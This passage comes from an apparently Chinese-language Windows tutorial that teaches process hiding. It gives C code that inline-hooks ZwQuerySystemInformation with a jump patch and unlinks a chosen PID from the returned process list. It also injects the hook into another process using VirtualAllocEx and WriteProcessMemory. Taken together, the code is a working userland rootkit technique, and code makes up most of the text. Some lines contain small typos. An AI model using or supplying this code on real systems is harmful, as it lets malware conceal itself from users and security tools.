ZwQuerySystemInformation(SystemProcessInformation,SystemInformation,Length,ReturnLength);shell
pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE){
printf("進程PID: %d\n",pSystemProcesses->InheritedFromProcessId);
if (!pSystemProcesses->NextEntryOffset) {
break;
}
pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)((char *)pSystemProcesses + pSystemProcesses->NextEntryOffset);
}
當是咱們須要隱藏的進程的時候咱們能夠經過增長NextEntryOffset的長度或者設置NextEntryOffset長度爲0來隱藏進程。因此咱們能夠構造如下相似代碼:
NTSTATUS
NTAPI
HOOK_ZwQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
)
{
NTSTATUS ntStatus;
PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
_asm{
push ebx
push ReturnLength
push SystemInformationLength
push SystemInformation
push SystemInformationClass
call ZwQuerySystemInformationProxy //讓原來函數執行完成,只有這樣函數才能返回咱們須要的數據而後在數據裏進行修改
mov ntStatus,eax
pop ebx
}
if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation){
pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
while (TRUE){
if (pSystemProcesses->;ProcessId==0x12345678){ //若是是咱們須要隱藏的PID就進行數據修改
if (pSystemProcesses->NextEntryDelta){
//當咱們須要隱藏的進程後面還有進程時
//越過咱們本身進程讓NextEntryDelta直接指向下一個數據塊
Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
}else{
//當咱們進程處於最後一個數據那麼咱們就把上一個數據結構的NextEntryDelta置0
//這時系統在遍歷咱們進程時就不會發現了
Prev->NextEntryDelta=0;
}
break;
}
if (!pSystemProcesses->NextEntryDelta) {
break;
}
Prev=pSystemProcesses;
pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
}
}
return ntStatus;
}
咱們爲了避免添加一個多餘的DLL因此必須是以Shellcode方式注入到目標進程,可是要這樣寫完整的shellcode確實有點麻煩,咱們能夠取巧利用程序來實現。
咱們把函數內須要重定位的地方所有使用__asm來完成好比上面的
_asm{
push ebx
push ReturnLength
push SystemInformationLength
push SystemInformation
push SystemInformationClass
call ZwQuerySystemInformationProxy //讓原來函數執行完成,只有這樣函數才能返回咱們須要的數據而後在數據裏進行修改
mov ntStatus,eax
pop ebx
}
調用絕對地址來實現,這樣就不須要重定位了。這樣咱們能夠把這個函數拷貝到目標進程了,再進行下目標地址的計算就ok了。因此有相似下面的實現代碼:
BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)
{
BOOLEAN bRet=FALSE;
DWORD OldProtect;
DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
BYTE HookCode[5]={0xE9,0,0,0,0};
HANDLE hProcess=NULL;
PVOID RemoteAllocBase=NULL;
DWORD dwFunAddress;
PUCHAR pBuffer;
dwCodeStart = GetFunAddress((PUCHAR)FunStart);
dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
dwCodeSize = dwCodeEnd-dwCodeStart;
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);
if (hProcess){
RemoteAllocBase = VirtualAllocEx(hProcess,
NULL,
dwCodeSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (RemoteAllocBase){
printf("\t申請內存地址:0x%x\n",RemoteAllocBase);
g_lpRemoteAllocBase = RemoteAllocBase;
if (ZwQuerySystemInformation){
bRet=VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);
if (bRet){
memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //這裏能夠在本進程中取備份代碼也能夠在遠程進程中取通常正常狀況是同樣的
*(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//這裏不須要用特徵定位,由於確定是在第六個字節開始的地方
*HookCode=0xE9;
dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
dwFunAddress -= dwCodeStart;
dwFunAddress += (DWORD)RemoteAllocBase; //計算HOOK_ZwQuerySystemInformation在目標進程中的地址
printf("\tHOOK_ZwQuerySystemInformation內存地址:0x%x\n",dwFunAddress);
*(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;
dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
for (pBuffer=(PUCHAR)dwFunAddress;
pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);
pBuffer++
)
{
if (*(DWORD *)pBuffer==0x12345678){
*(DWORD *)pBuffer = dwHideId;
break;
}
}
VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);
}
}
bRet=WriteProcessMemory(hProcess,
RemoteAllocBase,
(PVOID)dwCodeStart,
dwCodeSize,
NULL
);
if (bRet){
bRet=WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
HookCode,
5,
NULL
);
}
}
CloseHandle(hProcess);
}
return bRet;
}